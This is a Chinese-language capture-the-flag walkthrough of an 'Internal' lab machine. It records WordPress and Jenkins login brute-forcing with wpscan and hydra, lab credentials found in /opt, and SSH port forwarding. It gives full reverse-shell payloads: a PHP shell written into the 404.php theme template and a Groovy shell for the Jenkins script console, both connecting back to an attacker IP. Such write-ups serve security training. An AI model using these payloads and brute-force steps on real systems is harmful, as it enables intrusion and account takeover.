Offensive Pentesting-Internal

信息搜集

先扫端口

nmap -T4 -sC -sV -Pn 10.10.216.2

image-20250313165301237

发现80端口存在web服务

在扫一下目录

dirsearch -u http://10.10.113.49/ -i 200 
[19:42:18] 200 -    2KB - /blog/wp-login.php                                
[19:42:18] 200 -   18KB - /blog/                                            
[19:43:15] 200 -    3KB - /phpmyadmin/doc/html/index.html                   
[19:43:16] 200 -    3KB - /phpmyadmin/                                      
[19:43:16] 200 -    3KB - /phpmyadmin/index.php                             
[19:43:52] 200 -    2KB - /wordpress/wp-login.php     

扫出来了一个wordpress搭建的博客页面 还有后台登陆地址 还有phpmyadmin数据库的后台登陆地址

image-20250313194549965

看到wordpress可太熟悉了 之前在vulnhub里面出现过好几次了 直接按照流程开始做

cewl+wpscan爆破后台登陆账密

首先先用cewl收集一手密码字典

cewl http://10.10.113.49/blog/ -w dict.txt       

image-20250313194814707

wpscan开扫用户名、插件、插件漏洞、主题漏洞

wpscan --url http://10.10.113.49/blog/ -e vp,vt,u   

这条命令是扫描wordpress框架中可能存在的插件漏洞、主题漏洞和用户名 虽然没有扫描出可以利用的插件漏洞或者主题漏洞 但是成功找到了一个后台登陆用户——admin

image-20250313195943515

下面就可以尝试使用我们刚才用cewl搞出来的密码字典尝试爆破一下了

wpscan --url http://10.10.113.49/blog/ -P dict.txt -U admin 

然而这个没爆出来 那我们直接上rockyou 成功爆出来密码是my2boys

image-20250313201003188

成功登录到后台

image-20250313201052194

修改模板404.php反弹shell

在插件中没找到可以利用的 选择修改php0模板文件来反弹shell 路径为

http://internal.thm/blog/wp-admin/theme-editor.php?file=404.php&theme=twentyseventeen

image-20250313202638526

修改内容为

<?php
$ip="10.11.114.143";
$port=2333;
$sock = fsockopen($ip, $port);
$descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>

在本机开个监听

image-20250313202713447

访问404.php

http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php

成功反弹到 创建一个交互式终端

python -c "import pty;pty.spawn('/bin/bash')"

image-20250313202914496

/opt文件夹下找到ssh连接密码

发现home下有个aubreanna用户文件夹 但是我们弹到的这个用户没有权限打开

image-20250313203425263

翻文件 在根目录下找到一个异常文件夹/opt 进去找到一个wp-save.txt存放了aubreanna用户的登陆密码

image-20250313203615536

aubreanna:bubb13guM!@#123

ssh连接进去

ssh aubreanna@10.10.113.49 -p 22

再次进入aubreanna文件夹 读到flag1

image-20250313203745336

端口转发访问jenkins服务

在上面flag的同级文件夹下 我们还能找到一个jenkins.txt 应该是运行的docker容器

image-20250313204622102

为了访问这个服务 我们可以使用ssh进行端口转发

ssh -L 1234:localhost:8080 aubreanna@10.10.113.49
# 注意localhost前面放要转发到本机的端口 后面放目标靶机中开放的端口哦

在访问localhost:1234就可以成功访问到jenkins服务了

image-20250313204933598

直接用上面那组ssh登陆账密进不去 那选择用hydra进行爆破

hydra -l admin -P '/home/w3nx1z1/桌面/brutehash/rockyou.txt' -s 1234 127.0.0.1 http-post-form "/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in&Login=Login:Invalid username or password"
admin/spongebob

image-20250313212252688

Scripts Console反弹shell

成功登陆之后 老样子之前在Alfred这个靶机中已经用过的做法 在http://127.0.0.1:1234/script这个页面中可以进行命令执行来反弹shell 但是和Alfred又不同的是 这台靶机是linux的 不是windows 所以这里反弹shell的代码也有所不同

String host="10.11.114.143";
int port=4567;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

image-20250313213607130

开启监听 成功反弹到shell

同样在/opt文件夹中 找到一个note.txt文件 里面记录了root用户的密码

image-20250313213634166

ssh连接root用户读flag

有了root用户的账密 我们直接ssh连接就行了 flag就在/root文件夹中

image-20250313213748975

做题要点

1.wpscan爆破wordpress后台登陆账密

2.修改模板404.php反弹shell

3./opt特殊文件夹找到ssh登陆账密

4.端口转发访问jenkins服务

5.hydra爆破登陆密码

6.linux靶机环境中的jenkins script console反弹shell